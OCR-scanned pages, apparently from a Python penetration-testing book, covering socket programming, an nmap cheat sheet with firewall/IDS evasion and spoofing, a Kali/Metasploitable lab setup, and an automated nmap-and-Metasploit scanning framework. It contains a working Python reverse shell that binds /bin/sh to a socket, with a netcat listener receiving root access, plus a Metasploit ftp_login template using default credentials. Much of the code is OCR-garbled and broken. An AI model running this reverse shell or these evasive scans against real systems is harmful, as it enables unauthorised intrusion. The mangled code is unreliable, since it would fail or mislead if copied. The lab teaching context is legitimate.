11 stdout=subprocess.PIPE)

12 print("ID of spawned process is :"#str(p.pid)+"\n")
13 out,err=p.communicate()

14 result = chardet.detect(out)

15 out=str{out).encode( 'ascii’)

16 out=out.decode("utf-8")

17 splitted=str{out).split{"\\n")

18 for o in splitted:

19 print(o)

20 except Exception as ex:

21 print("Exception caught :"+str(ex))
22 obj=5P()

23 obj.execute(["1s","-1"1])

ID of spawned process 1is

b'total 216

-FWXTWXF -X khan khan 732 \x \ 2 19:20 AccessSpecifiers.py
“FW=FW=F== khan khan 5 { 4 g : :14 Aggregations.py
ELNGET 1 ( xaT7\xd9\x 5 03: Area_finder.py

khan khan 4096 \x Ba\xd9\ %88\ xd9\xB6 29 i bettercap-1.6.1

14#! fusr/bin/python3.5
2 import socket

3

4 class SP():

5 def server(self):

6 try:

7 s=socket.socket(socket.AF _IMNET,socket.SOCK_STREAM)

8 s.bind(('192.168.1.1083"',80))

9 s.listen(1) # Now wait for client connection.
10 while True:

11 try:

12 c, addr = s.accept()

13 print ('Got connection from', addr)

14 while True:

15 data=c.recv(1024)

16 if data:

17 d=data.decode('utf-8")

18 print("Got data :" +str(d))
19 c.send(str{"ACK : " +str(d)+"
20 else:

21 print{"No more data from client : '
22 break

23

24 finally:

25 c.close()

26 except Exception as ex:

27 print("Exception caught :"+str(ex))

28 s.close()

29 obj=sP()

30 obj.server()

...").encode('utf-8"))

+str{addr)f]

[69]




1#! fusr/bin/python3.5

2 import socket

3

4 class SP():

5 def client(self):

5] try:

7 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
8 s.connect(('192.168.1.103"',80))

9 while True:

10 data=input("Enter data to be sent to server : \n")
11 if not data:

12 break

13

14 else:

15 s.send(data.encode( 'utf-8"))

16 reply=s.recv(1824).decode('utf-8")
17 print(str(reply))

18

19 s.close()

20 except Exception as ex:

21 print("Exception caught :"+str(ex))

22 obj=SP()

23 obj.client() |

root@khanUbantu: fhome /khan/Packet-scripts# ./server_socket.py
Got connection from ('192.168.1.103', 52996)

Got data :Hello server !

Got data :This is my first TCP Application.Its good so far !

@ S E root@khanUbantu: /fhome/khan/Packet-scripts
root@khanUbantu: /home/khan/Packet-scripts# ./client_socket.py

Enter data to be sent to server

Hello server !

ACK : Hello server ! ...

Enter data to be sent to server

This is my first TCP Application.Its good so far !

ACK : This is my first TCP Application.Its good so far !
Enter data to be sent to server
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1#! fusr/bin/python3.5

2 import socket,subprocess,os

3 s=socket.socket(socket.AF INET,socket.SOCK_STREAM)
4 s.connect(('127.0.0.1",1234))

5 os.dup2(s.fileno()},0)

6 os.dup2(s.fileno(),1)

7 os.dup2(s.fileno(),2)

8 p=subprocess.call(["/binfsh","-1"])

9

root@khanUbantu: fhome /khan/Packet-scripts# ./rev_tcp.py

root@khanUbantu: /fhomefkhan/Packet-scripts
root@khanUbantu: /home/khan/Packet-scripts# netcat -1 -p 1234

# pwd

[home /khan/Packet-scripts
# whoami

root

# i
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Chapter 5: Vulnerability Scanner Python -
Part 1

Scan Techniques

nmap 10.0.2.15 single [P S nmap 10.0.2.15 5 TCP SYN port scan (Default)
nmap 10.0.2.15 .
specific IPs . . TCP connect port scan
10.0.2.16 sT nmap 10.0.2.15 -sT (Default without root privilege)

nmap 10.0.2.15-254 Scan a range -sU nmap 10.0.2.15 -sU UDP port scan
J— nmap. Scan a domai
fimap scanme.nmapom can & domatt -sA nmap 10.0.2.15 -sA TCP ACK port scan
nmap 192.168.1.0/24 Scan using CIDR notation .
=W nmap 10.0.2.15 -sW TCP Window port scan
-iL nmap -iL. targets.txt Scan targets from a file .
-sM nmap 10.0.2.15 -sM TCP Maimon port scan
-iR nmap -iRk 100 Scan 100 random hosts
- SN - sF;-sX (TCP NULL, FIN, and Xmas scans)
—exclude nmap --exclude Exclude listed hosts
10.0.2.15
Host Discovery Port Specification
Example Diescription Switch Example Description
-sL nmap 10.0.2.15-3 -sL No Scan. List targets only P nmap 100215 -p 21 Port scan for port x
-sn nmap 10.0.2.1524 sn Disable port scanning. Host discovery only. . nmap 10.0.2.15 -p 21-100 Por range
-Pn nmap 10.0.2.15-5-Pn Disable host discovery. Port scan only. i) nmap 10.0.2.15 -p US3,T:21-2580 Pon scan multiple TCP and UDP pors
TR . 215 e
b5 nmap 10.0.2.15-5 -PS22- TCP SYN diccovery on port x. o nmap 10.0.2.15 -p Part scan all ports
25,40 Port 80 by default + nmap 10L0.215 -p hitp,https ot scan from service name
on nmap 10.0.2.15-5 -PA22- TCP ACK discovery on port x. -F nmap 10.0.2.15 -F Fast port scan {100 ports)
25,00
Port. 80 by d"‘fm" ;Lu:s_ nmap 10.0.2.15 --top-ports 2000 Port scan the top x ports
LI diseovery on port x.
-PU nmap 10.0.2.15-5 -PU5S3 - »dE — Leaving off initial pon in range
Port 401 25 by default 65535 rmap 10.02.15 -p-65535 makes the scan start at port 1]
-PR nmap 10.0.2.15-1/24 -PR ARP discovery on local network Leaving off end poat in ange
-pil- nmap 10.0.2.15 -pl-
-n nmap 10.02.15 -n Never do DINS resolution makes the scan go through to port 63535
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Service and Version Detection

OS Detection

Switch Description

Example

Attempis to determine the version of the

Remote 05 delection using TCP/TP

5V 02,15 -5V N -1y 100215 -0 P

i nmap 10.0.2.15 -5 service running on pott o stack fingerprinting

-5V —-version- nmap 10.0.2.15 sV Intensity level 0t 9. Higher number -0 —-0sscan- amap 10.02.15 -0 i .]f.at least one open a’“d_ one closed

intensity --version-intensity 8 increases possibility of comectness \imit —osscan-limit TCF pont are not found it will not try
05 detection against host

R —— nmap 10.02.15 sV Enable light mode. Lower possibility of

sV -version-light __ ian-light correciness. Faster -0 —osscan- amap 10.02.15 -0 Makes Nmap guess more aggressively

guess ~-0I55CaN -GUesS
-5W —-version-all nmap _IIP.[J.2.].; sV Enable intensity level 9. Higher possibility of -0 ~max-os- nmap 10.0.2.15 -0 --max- Set the maximum number x of OS
~-version-all correctness. Slower trics 0 tries 1 detection trics against a tuget
716 Enables 05 detection, version detection, - Fnahles (S detection, version detection, script
A nmap 10.0.2.15 -A script scanning, and traperoute A amap 10.0.2.15 -A secanning, and raveroute

Timing and Performance
Example

Switch Description

nmap 10.0.2.15 Paranoid (0) Intrusion Detection

-T0 T0 System evasion host-timeout <time=> ls:4m; 2h  Give up on target after this long
Al-1i ) =L inital-rit
Tl nmap 10.0.2.15  Sneaky (1) Intrusion Detection System timeout<time: Is;4m; 2h  Specifies probe round trip time
-T1 evasion
) ] . Parallel host scan group
. =min-h 4 -ho <size> 50: 1024 N
nman 10.0.2.15 Paolite (2) slows down the scan m use min-hostgroup/mas-hostgroup <size sizes
Ny P less bandwidth and use less target )
machine resources B {'“umpmheﬁ; 10:1 Probe parallelization
nmap 10.0.2.15 Lo Ims: Te dme
-T3 » T3 Normal (3) which is default speed --scan-delay/--max-scan-delay <time> 20ms; Zhs‘ Am; Adjust delay between probes
Aggressive (4) speeds scans; assumes —max-relries <lries> 3 Specify the maximum number
-T4 nmap :],'.;.]"10'2‘15 you are on a reasonably fast and of port scan probe retransmissions
reliable network
. Send packets no slower than
--min-rate <number= 100 -fuumhcd-* per second
nmap 10.0.2.15 Insane (5) speeds scan; assumes you
-T5 are on an extraordinarily fast network Send packets no faster than
--max-rate <number= 100
<number> per second
. Useful NSE Script Examples
NSE Scripts P $

vitch

Scan with default NSE scripts.

-sC nmap 192.168.1.1 -sC Considered useful for discovery and
safe
script Sean with default NSE seriprs.
dsfan]Tl nmap 192, 168. 1.1 --script default Considered useful for discovery and
safe
—script s 192.168.1.1 —scripl-banaer Scan with a single script. Example
ANTEr
—-sCript nmap 192.168.1.1 --script=http* Scan with a wildcard Example hitp
—scripl nmap 192.168.1.1 ~script=hup banner Scan with two y:rr:ﬁ.:na(m)le fetp and
. } i o bnatt Scan default, but remove intrusive
~script | map 192.168.1,1 —script "not intrusive’ scripts
—SCript- | NMap —script snmp-sysdescr ~scripf-args . .
amgs snmpcommunity=admin 192.168.1.1 NSE script with arguments

http site map generator

nmap -Pn --script=http-sitemap-gen erator scanme.nmap.org

Fast search for random web
SeIVers

nmap -0 -Pn -p B0 --open sV -vvv —script banner, htp-title -iR.
1000

nmap -Pn —script=dns-brute domain.com Brute fun_:es DS husl_names

guessing subdomains

nmap -n -Pn -vv -0 -sV —script smb-enum*, smb-Is,smb-

mbenum,smb-os-discovery,smb-s* smb-vuln® smbv2* -\h
10.0.2.15

Safe SMB scripts to run

nmap —script whois* domain.com Whais query
. . Detect cross site scripting
nmap -p& --script htip-unsafe-output-escaping scanme.nmap.org vulnerabilities

nmap -p80 --script http-sgl-injection scanme.nmap.o1g Check for SQL injections
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Firewall / IDS Evasion and Spoofing I
Example Description Sran Facebook from Microsolt (-e ethi)
-Pn may be required
Requested scan (including ping scans) ¥ berequired)
+ nmap 10.0.2.15 f use tiny fragmentad TP packats. ¥
Hamder for packet filters . Note er_mor 5 can be um 0 specify
5 nmap [—S www.micrsoft.com source ip manually or it can be used w
i _ = www.facebook.com trick the victim o spoal the source ip.
—miu nmap 10.0.2.15 —mw 32 Set your own offset size But note when we used the spacfed
P ip ,the probe replies will not come back
Send scans from spoofed Ips The ip P Hes
addresses specified by -D are decoy ip to attacker blutmll instead go back to
addresses and it must benoted that the the spooled ip address.
D nmap -D 10.0.2.1501,10.0.2.1502, TIPS specified as decoy must actually .
- 10.0.2.1503, 192.168.1.23 10.0.2.15 be alive . This way it will appear to the B nmap -g 53 10.02.15 Use given source port number
wvictim that its being scanned by
multiple ip’s where ours will be ooies AR -=proxies hup:d10.0.2. 158080, Relay connections through
somewhere within the decoy address proxies http://192.168,1.2:8080 100,215 HTTPSDCKSS proxics
nmap -D decoy-ipl,decoy-ip2.your-own- . —data-
-D ip',.]i:::ﬂ.},_mild':c:,py_‘-pd r:'mfmn)hnn.ip Above example explained IHL:;:; nmap --data-length 200 10.0.2.15 Appends random data to sent packets
Output
Switch Example Description
-aN rmap 10.0.2.15 0N nomal file Normal output o the file normal. file d nmap 10.0.2.15 -d Increase debugging level (use -dd or more for
e greater effect)
oX nmap 10.0.2.15 fX xml.file XML cutput to the file xmlfile
G 10.0.2.15 -0 grep.fil Grepabl the file grep.fil reason nmap 10.0.2.15 --reason Display the reason a port is in a particular
-0l nmap 10.0.2.15 -0G grep.file arepable owtput to the file grep.file = ap 10.0.2.15 - state, same ourput as -vv
oA nmap 10.02.15 -0A results Outprut in the three major formats at once
--open nmap 10.0.2.15 —-open Only show open (or possibly open) ports
oG nmap 10.0.2.15 -0G Grepable output |n“::l:n. 0N -, -0X - also
--packet-trace nmap 10.0.2.15 -T4 —-packet-trace Show all packets sent and received
—-append- nmap 10.0.2.15 -oN file.file ) )
outpart —append-output Append & scan 0 a previous scan file ~iflist nmap --iflist Shows the host interfaces and routes
w nmap 10.02.15 « Increase m”:::::::';}::? e armore --resume nmap --resume results. file Resume a scan

File Machine Help
@@ P 5.

Settings  Riceas
Kali-Linu:

2 Saved

| f@l Snapshats & ]
. v

= Create Virtual Machine

Name and operating system

metasplal
@ Powers Please choose & descriptive name for the new virtual
machine and select the type of operating system you
le-8 intend to install on it. The name you choose wil be
@ Powers used throughout VirtualBox to identify this machine.
gp';:e':‘: Name: |Kali-pentest
B o i@
Mersion: | Debian (64-bit) -
R

Expert Mode Next = Ccancel

File Machine Help

| &l snapshots &

Create Virtual Machine

Memory size

Select the amount of memory (RA&M) in megabytes to
be allecated to the virtual machine.
The recommended memory size is 1024 MB.

e 3| MB

4MB 8192 MB

Ccanced

<Back || Next»
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080 oracle vmvirtualgoxManager 0 | © 50 oracls VM VirtualBox Manager
[ T T = =
R — )Si TE 3§
i <] Please choose a virtual hard disk File (&l snapshats “ - L r}
Settings Mew  Settings Machine Teals Global Tooks

] ? Look in: ¥ home/khan,Packet-scripts/Kali_image o, Kali-Linux-2017.3-vbo... 7 ol [,
g 2 D 2
Take Properties | Clane

r tor hame - Si2 )
g metasploit matasploltable Nama Take
@ o= @ Pawered oF | © curentstate |
alf ] ia-8 v gy
(@ Powered - Irmage v (@ Pawered OIf
IEB - Win7 Al virtual hard disk files {=wmdk *vdi *,vhd * b IE5 - Win7
(@) Powered Pawered Of
—

Attributes  jnformation

Name

 Create a virtual hard disk now Description

& Use an existing virtual hard disk file

Kali-Linux-2017.3-vhox-amded-diskioz.vm ~ | (3

< Back Cancel
1#! Jusr/bin/python3
2 subprocess sp
3 os
4 Nmap scan is complete
5 class NmapPy():
6
7 def init (self,command=[]):
8 self.command=command
9
10 def scan(self):
11 try:
12 p=sp.Popen(self.command, shell=False, g
13 stdout=sp.PIPE, stderr=sp.PIPE) = . t ngiinx 1.10
14 | out,err=p.communicate() . 2-4 (RPC #1
15 print("”\n Nmap scan is complete : ")
16 print(str(out))
17 print(str(err))
18 except Exception ex:
19 print("Exceptiion caught : " +str(ex))
20

21 nmap=NmapPy ([ "nmap", "-Pn", "-sV", "127.0.0.1"])
22 nmap.scan()
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11 def scan{self):

12 Lry:

13 p=sp.Popen{sclf.command, shellsFalse,

14 stdout=ssp. PIPE, stderr=sp.PIPE)

15 out,err=p.communicate()

16 print(" nNmap scan is complete : ")

17 xml_str==tr{out)

18 root=ET. fromstring(xml_str)

19 Lag=rool. Lag

20 hosts=[]

21 for host in root. findall("host™):

22 details={"address":host. Tind("address")

23 .attrib.get("addr™), "name™:host. find

24 {"hostnames") . find{"hostname").attrib.get{"name")}
25 port_Llist=[]

26 print{stri{host))

27 portsshost. find({ "ports™)

28 for port in ports:

29 port_details={"port”iport.attrib.get({"portid")
3o s "protocol™:port.attrib.get("protocal™)}}

31 service=port. find{"service")

32 state=port,. Tind("state")

33 if service is not None:

34 port_details.update({“service":service.

35 attrib.get(“name”), “product”:service.

1] attrib.get("product™, "), "version™: 1
37 service,attrib.get("version™, "), "extrainfo™:
38 service. attrib.get(“extrainfo®™, “*), “"ostype":
39 service.attrib.get("ostype'™, "),

40 “"cpe'iservice.attrib.get(“cpe™, """} })
41 if state is not None:

42 port_details.update({"state”:state.attrib.
43 get(“state”),"reason":state.attrib.
a4 get(“reason™, “")})

45 port_list.append(port_details)

46 details[“ports*”]=sport_list

47 hosts.append(details)

48 for host in hosts:

49 print("---c-cccccccccccc s e ———- )
50 print{“Name : * +str(host.get{ " name", "))}
51 print{”"IP : " #+str{host.get("address™,"""))})
52 print({“Services : ")

53 for port in host["ports™]:

54

55 print{("\t Service :")

56 print("\t ----ccccccccm e e —— - r"]

57 for k,v in port.items():

58 print("™tht"+str(k)+" : " #striv))
59 pront (" ----ccm e e e - )
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LEER

Start Sean

s Dz Hiast 5], |
ot {s], and Broject

Farent Pro<ess Controller i._

User Diata

Snld —

Irana e e noh proceen
name, scan type, st l‘ Seanld

Scan Result

D -Pasent Prooess |Driver.py)

:

Resume scan 0

—narer thewad o leusnchaed

Thread Schedular-Palls on # of sches m
thesads Wrsnewer thresd (x Snihes

Pause 5can

W-Sub-processes’ ,/'/ Scan M /p’/

Sean Ports and discover servios

Success -Response

Farent ->Process id

Parent. Kill [recurshve child=Trus)

Resmme-SCAN 1D

..i

GUISCl-nodules (Driver stub)

Port Scanning / Discovery

Sean W +Process id lupdane]
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Scan D
— Parent Process Controller [Driver.py]
Default Configuration
* Imapke i Sub process I, Scan ld Scan bd +Process id (update)
Driwe Process —Driver.py -
Updated Configuration /
apyf * '
e Sendice key Exphait List Method id. Exploit, bhost, port
s i 4
/ futo_commands. py
——— ll-bqu exploit, Timeout
Sarvica: FTP | Parent Threadpsat ol Tme ost)
External
Exploits Host, Port, exploit
Fipl, Fep2 . rt, Hizst, Port, Command Scripts
Service: S5 Process->Mew Process [os.pipe) * [NSE,
: Python,
Process->External Script |exploit) Javg,
- _| Ruby, perl)
Results
APY 4
USER = gt Report Generate Report
Service Scanning
B MetaSploit Template . Single Line Commands -Timeout
o P H {
"Commands": [

rkspace ploit automationiyn",
auxiliary -/ ftp/s/ ftp_login\n".

>t RHOSTS =ho =%n'',
zet USERNAME msfadminswn',
IRD msfadminin®, |
SE falsesn”

custom_meta'.

"title": "Metaspleoit Ftp_Legin auxillary"
. : - i Lel i ommands_Timeout
{ =
Metasploit_automationin',
-p =ports> =host="
1
1. *j
L ands_Timeout
"method”: "custom_meta', -
"title": "Metasploit Ftp_anonymous auxillary"
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“hey: { “Commands”: [
T¥title™:“value”,"method_id"”:"value”,"args”:[arg1,arg2, arg3...],"command_id":"id"}
Jetitle”:"value”, "method_id”:"value”,”args":[arg1,arg2, arg3...],"command_id":"id"}

1, “Custom™: “false” }

14 main_class_based_backup main def start(self):
15 os, ConfigPar i self.method_id="Main™
16 r "\B3II[31m" A self.banner()
17 b "WB3II[IAm" if os.geteudd() !I= 0O:
18 g "AB33[32m" exit( r+ """\n You need to have root privileges
19 y *\033[33m" to run this script."""+e)
20m "AB33[34m" scan type—ﬁwlf prolpt ScanType().
21 c = '\033[36m' #magenta er £
22 e = '\033[0m" # print ("Sran rype rhor.pn 1r. :"tq‘tr(scan type)p
23 # mal self.seperator({}
24 class Driver_main(): if (scan_type=="1"):
25 - tarqethns self. pnmpt _ipsQ)
26 def init (self):
27 self. seperator{]
28 self.NmapScanobj=main.NmapScan() | self.scanbanner ()
29 print ("self.SWITCH: " + g+ self.SWITCH +e)
30 def prompt_ScanType(selfl): self.seperator()
31 - if int(self.takescan)>7:
32 while 1: targetports=Nonec
33 s(ulllyue=r-lw input (b+"""Enter Your cholce: else:
34 wn*+y +"\n(1) Fer Launching Mew Scan \n(2) tarthPDFtS*i‘lf-Prﬂmt ports()
35 | For Launching Paused Scans\n """#e) R
36 trys self.seperator() #
37 if(((scanType)=="1")or{(scanType) =="2" cll Prvlpt_prcijcct[)
38 break
39 jo.i.n(p.alh split()). IMI()
40 else : @ self. HmpScanDbi driver_main
a1 print "Invalid Choice" (targethosts, p.nh targetports,scan_type,sclf.SWITCH, ', mode="c"}
a2 P Tisira: elif(scan_type: D
a3 except : self. sc.mb.:lnrll:r()
a4 return "1"; print "self.SWITCH: " + g+ sclf.SWITCH +e
as return scanType; @-,dr HmapScanObj . driver_main
L't tuscan type,sel . SWITCH, ', mode="c"f]

Driver_main_class.py

1 IIScantypen
2

3 Intense= -T4 -A -n

4

5 Intense_UDP=-sU -T4 -A -n

6

7 Intense_TCPall=-sS -T4 -A -n--max-rtt-timeout 500ms
8

9 Intense_NoPing=-T4 -A -v -Pn -n

10

11 Ping=-PS

12

13 PCI_Ping_Sweep= -PE -n -oA
14

15 PCI_Top_1000 TCP= -Pn -sS -sV I—n --max-retries 3 --max-rtt-timeout 1000ms --top-ports 1000
ig PCI_Top_200_UDP= -Pn -sU -sV -n --max-retries 3 --max-rtt-timeout 100ms --top-ports 200
ig PCI_Top_100_UDP= -Pn -sU -sV -n --max-retries 3 --max-rtt-timeout 100ms --top-ports 100
g? PCI_Full ports TCP= -Pn -sS -sV -n --max-retries 3 --max-rtt-timeout 500ms
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15

time, threading, nmap, multiprocessing, os, sys

16 ConfigParser,MySQLdb, atexit,IPtable, textable
17 Simple_Logger, Gui_main_driver
18 driver_meta driver

19 r = *\O33[31m"' #red

20b = "\033[34m" #b1ue

21 g = 'N\NO33[32m"* FHgreer

22y = '"\O033[33m" vel low

23 m = '\O33[34m" HFmagenta

24 ¢ = '\033[36m"' #magenta

25 class NmapScan:

26 def init (self):

27 self.IP=""

28 self.PORT=None

29 self.SWITCH=""

30 self.CURRENT_PROJECT_ID=""

31 self.takescan=""""

32 self.N=2

33 self.Port_Divisior=21845

34 self.Pause_Flag=False

35 self.Stop Flag=False

36 self.ipcount=0

37 self.IPtable=IPtable.IPtable()
38 self.method id="INIT"

39 self.Thread_pool=[]

40 self.retry count=0

41 self.max_retries=3

42 self.simple logger=Simple lLogger.SimplelLogger()
43 self.lock=threading.Lock()

44 self.folder name=os.path. join("Results", "Data ")
45 self.concurrent=False

416 self.driver=driver.Driver ()

47 self.thread_count=l
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def driver main[self.lps—“ project_name="'", port:

mode= sassessment_id="", app_i

,scan _type='",switch="",project_id="",
‘,concurrentsFalse,profile=2):

try:
start = time.time()
os.system(*cls® if os.name == 'nt' else 'clear’)
db_ filename="nmapscan’
start = time.time()

self.main
. (project_name, ips, port, switch,scan_type, mode, project_id, assessment_id, app_id, concurrent,profile
print "Reached here as well 111"
if mode != "g-init" : #a " mt
th_count=threading. enumeratet:
i1
if (1)
print ("\nNow stopping and saving
if ((self.CURRENT_PROJECT_ID != ") and (self.CURRENT_PROJECT_ID is not None)):
stntus-self IPtahle checkStatus(seIf CURRENT PROJECT_ID)

1f(5tatu5)

processing_status=status[0]

pause_status=status[1]

if((processing status) and (net (pause status))):#. i1 just check
time.sleep(10)

. self.startProcessing({self.N)

time.sleep(50)
print ("Polling started--=again :")
self.start_Polling()

if ((not{processing status}) and {nut{pause status))):

splf IPtable clearLugs[f-Pll CURRENI’ PRDJECT ID, "complete’, concurrent)
end_time = time.time()
print{"Time taken in seconds : “#striend time-start})
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def main(self,path="", targethosts="", targetports="",switch="",scan_type=""
mode="c",project_id="",assessment_id="", app_ id—",cnncurrent=ra1sc profile=2):
self.concurrent=concurrent
ir (scan_types="1"):
self, SWITCH=switch
self.PORT=targetports
if (mode=="c"):
ﬁnlf.dh projectna-e(path targethosts.urlf PORT.snitch,profllel

self. ceperatnr(}
elif mode =="g-init":
if assessment_id =="":
return;
else:
self.db_projectname(path, targethosts,selLf.PORT,switch, profile)
self.IPtable.update_mapping(app_id, self.CURRENT_PROJECT_ID, assessment_id)
return self.CURRENT_PROJECT_ID
elif mode=="g-start":
self.CURRENT_PROJECT_ID=int(project_id)
printi{b +"[+]" + "Starting SCAN" +e)
ipcount=len(selfl.numofips(targethosts))
if (', ' im targethosts):
listip=targethosts.split(", ")
else!
listip=self.numofips(targethosts) =/ Notatior 2 . 2 . 14 | (:)
BulkEntrics—self -akeBulkEnteries{listip,self PBRT) (:)

active threads—threading.enu-eratel) #
counter—len(actire_threads)
self, th read_countﬂounter
self,.startProcessing(self.N) #rh1 1 t part ! t prompt ir t fini e (:)
time.sleep(100)
self.method id= pin )"
self.print_Log(

_ “e=paol started :+*+*")
self.start_Polling() (ijﬁ
else:

active threads=threading. enumerate()
counter=len{active_threads)
self.thread_count=counter
if (mode=="c*):
sell, SWITCH=switch
self, CURRENT PROJECT ID=sclf.prompt ProjectIn()
else:
self, SWITCH=switch
el T, CURRENT_PROJECT ID‘intlwtoiFff id)
AT (self.CURRENT_PROJECT_ID 1= “"): (::)
sell, Launch PausedScan(self.CURRENT PROJECT ID)
time.sleep(100)

self.start_Polling[lf] @
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def startProcessing(self,n): del simplesc

anner (selT, ipl):

list=[]

list=self.IPtable.getPorts({str(ipl),

try stport=0
lsport=0
ALl_hosts=self.getAllDistinctHosts(n) by £
#print “"Hosts to be given t thread = try
if (ALl_hosts): part

self.StartThreads(AlLl_hosts)

return;
except Lxceptifn sE" 1
printfl"Exception 12 " +str(ee)f]
return

else

def StartThreads(self, hosts):
self.method_id="Start THreads"
threads=[]
print self.seperator()
for host in hosts:
k= threading. enumerate()
it ( int{selT.getNonDummyCount (1k)) < (self.N+1)
currentlP= stri{host)

ob j=NmapScani )

obf.IPsselr.IP

obj.PORT=self. PORT

obj . SWITCH=se LT, SWITCH else
ob j. CURRENT PROJECT IDsscll.CURRENT PROJECT I
ob].takescan=self . takescan self
ob].N=self.M except |
obj.Port_Divisiorsself.Port Divisior self
obj.Pause Flag=scll.Pause Flag
ob].Stop_Flag=self.Stop Flag

obj.ipcount=self, ipcount

obj.IPtable=IPtable. IPLable()

obj.simple legger=self.simple logger
obj.concurrent=self.concurrent

obj.driverssell . driver

obj.thread count=self.thread count

t = threading.Thread(target=obj.simplescanner, args={[cur
threads. append (t)

t.start()

self.Thread pool.append(t)
self.print_Log( "nStarted thread for IP
time.sleep( i)

:"#str{host)+")

selLf. CURRENT_PROJECT_ID)

if{port_list):

for port in port_list:
fport=strpert(0l)}
rec_id=sport([1]
try

self.IPtable.UpdateStatus( ' processing’
ipl, fport, int{self.CURRENT_PROJECT_ID)

except Fxc ion,
print “LXIcept

port in port_List:

fportestr(port(ol)

rec_id=port[1]

tpsmultiprocessing. Process(targets
self.portscanner, args=(ipl, fport, rec

process List.append(tp)

tp.start{)

"
)

© #str(ee)

dd) )y

for process in process list:

process . join()

printf]"F inished subprocess for ip ™ estri{ipL)f]
[

self.print_Log{"The IP has ports scanned "
print_Log("Ended Simple acanner™)

xception ,e
sprint_Log({"Exception

]

inSimpleScanner--="+str{ee))

rentIP1))

def portscanner(self, ipx,portx, rec_id=None):
nm=nmap.PortScanner()
try:
if portx=="top ports™:
nm.scan(ipx,None,self.SWITCH)
else:
nm.scan(ipx,portx,self.SWITCH)
except Exception ,ex: _
self.retry_count =Jelf.retry_count+1
if (self.retry count < self.max_retries):
print(g+"\n\nRe-attemting')

self.IPtable.UpdateStatus( 'incomplete’,ipx,portx, int(self.CURRENT_PROJECT_ID))

else:

self.IPtable.UpdateStatus( 'error-complete’, ipx,portx, int{self.CURRENT_PROJECT_ID))
self.generate_Error_log('error-complete’,ipx,portx, int(self.CURRENT_PROJECT_ID))

return 0
try:
temp=nm,.scanstats()
if (int(temp) != 0)
host=ipx
if 'tcp’ in nm[host].all_protocols():
print(“Result for IP “ + host )
print('Protocol TCP" )
for kk in nm[host][‘'tcp‘]l.keys():

[ "'uphosts ']

if (nm[host]['tcp']l1[kk]l[ 'name’])=="":

nm[host][ 'tcp’]l[kk]l[ ‘name’]="unknown"

lport = nm[ipx]['tcp']l.keys()
lport.sort()
for port in lport:
print(b+'port +y+str{port) +
g+ nm[host]['tcp'][port][ 'state"’]
+r +'" + nm[host]["tcp']llport]l[’
self.seperator()

At

+
+' At
name'] +e)
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self.driver.main('gui”,int
(self.CURRENT_PROJECT_ID),False,False,False,False,True, rec_list)
except Exception ,ee
self.print_Log("Exception in update "+str(ee))
status="complete"
try :
self.IPtable.UpdateStatus (status, ipx, portx, int(self.CURRENT_PROJECT_ID))
except Exception ,ee :
self,.print_| Log("ExceptldH in update status "+str(ee))
else:
statuss="host-down"
try
print "Reached Debug 9"
self,.IPtable.UpdateStatus(statuss, ipx,portx, int(self.CURRENT_PROJECT_ID))
except Exception ,ee :
self,.print_Log("Exception in update status host-down "+#str(ee))
except Exception,exc:

self.print_Log("Exc--Nmap was able to find up host but not port results: "#str(exc))
self.IPtable.UpdateStatus( 'error-complete’, ipx,portx, int(self.CURRENT PROJECT ID))
self.generate_Error_log('error-complete’, ipx,portx, int(self.CURRENT_PROJECT_ID))

def start Polling(self):
try:
stop_db_poll=False #use this logic to stop unnecessary db poll when all psts finis
while 1:
time.sleep(5)
active_ threads=threading.enumerate()
counter=len{active threads)
if{(self.check dummy status only(active threads)) or (counter==l)) : .
print("Only dummy threads are alive-Attempting to close)
status=self.IPtable.checkStatus(self.CURRENT_PROJECT_ID)
if(status):
processing_status=status([0]
pause_status=status[1]
if({processing status) and (not (pause_status))):#.711 T
print(“Some Hosts display status as plD(_Lkhlllq")
time.sleep(15)
self.startProcessing(self.N)
time.sleep(50)
else:
self.print_Log("Active Threads are only 1 --Scan about to finish")
hreak;
elif(int(self.getNonDummyCount (active_threads)) ==(self.N+1)):
if(not(self.getPausedStatus(self, CURRENT _PROJECT _ID))):
Limit=(self.N+1)-ift(self.getNonDummyCount (active threads))
if(limit != 0):
left_hosts=self.startProcessing(Llimit)
time.sleep(1)
else:
time.sleep(l) |
else:
time.sleep(10)
except Exception ,ee:
print{"Exception caught 15" +str{ee))
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def launch PausedScan(self,project_id):
self.-ethnd_ld:"LaunchPausedhcan(}"
self.print_Log( "Started Launch Paused ")
success=self.IPtable. MakelUpdate (project_id)
time.sleep(20)
if(success==1):
self.startProcessing(self.N)
. elif{success==.):
port host=self.getHostPort(project id)
if(port_host):
ip range=port host[0]
port_range=port_host[1]
listip=self.numofips(ip_range)
BulkEntries=self.makeBulkEnteries
(Listip,port_range)
self.startProcessing(seltT.N)

else:;
self.print Log("""The given project id
is not present in Database'''")
return
elif(success==1):
return
else:|
szlf.print_Log("""The update method
for status=incomplete has exception """)
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Scan type chosen is :1

Reached port
Reached port
Reached port

Starting the
Starting the
Starting the

scanner module with record id ——> 2542
scanner module with record id --> 2543
scanner module with record id ==> 2544
scan with the switch :-T4 -A -v -Pn -n
scan with the switch :-T4 —-A -v —-Pmn -n
scan with the switch :-T4 -A -v -Pn -n
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Now stopping and saving Global Project Id : 744
Started

Ended

Launching clear logs !!!

Clearing old logs !'!'!!! with status —-->complete

The logs are not clear

Clearing them Now

Clearing Logs now inside clear logs !!

Cleared all logs !!
The logs are finally cleared !!!
Time taken in seconds : 118.2180089595
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mysql> show databases;

information_ schema
dictator_ client
m=f

mysql

nmap

nmapscan
performance_schema
public

sys

test_db

xtremedb

11 rows in set (0.03

mysql> use nmapscan;
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IPbackup
IPexploits
IPtable
IPtable_history
Scan_Profiles
Users
application_auth

exploit_cve_mapping

exploit_cve_mapping_metasploit

exploit_cve_mapping metasploit_recent
exploit_cve_mapping_recent
exploit_mapping_metasploit
ipbackup

mapping_table

project
project_user_mapping

rep

report_details
report_mapping

roles

=qlite_sequence

switches

tab_test

test
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mysql> desc project

projects

IPrange

project_status varchar (50) incomplete
Date timestamp CURRENT_TIMESTAMP
port_range varchar (500) NULL
process_id varchar (100) -100
exploits_process_id varchar (200) -100
project_status_exploits varchar (50) incomplete
exploit_process_id_list varchar (400) 100

mode varchar (20) sequential
switch varchar (100) -T4 -A -n
profile_id int(11)

mysql> select * from project order by id desc limit 1;

| id | projects | IPrange | project_status | Date port_range process_id | e
xploits_process_id | project_status_exploits | exploit_process_id_list | switch | profile

| new_project_automation. | 10.0.2.15 | incomplete | 2018-09-23 05:01:25 | 1-65535 | -100
| incomplete | 100 | sequential | -T4 -A -v -Pn -n |

varchar (1000)
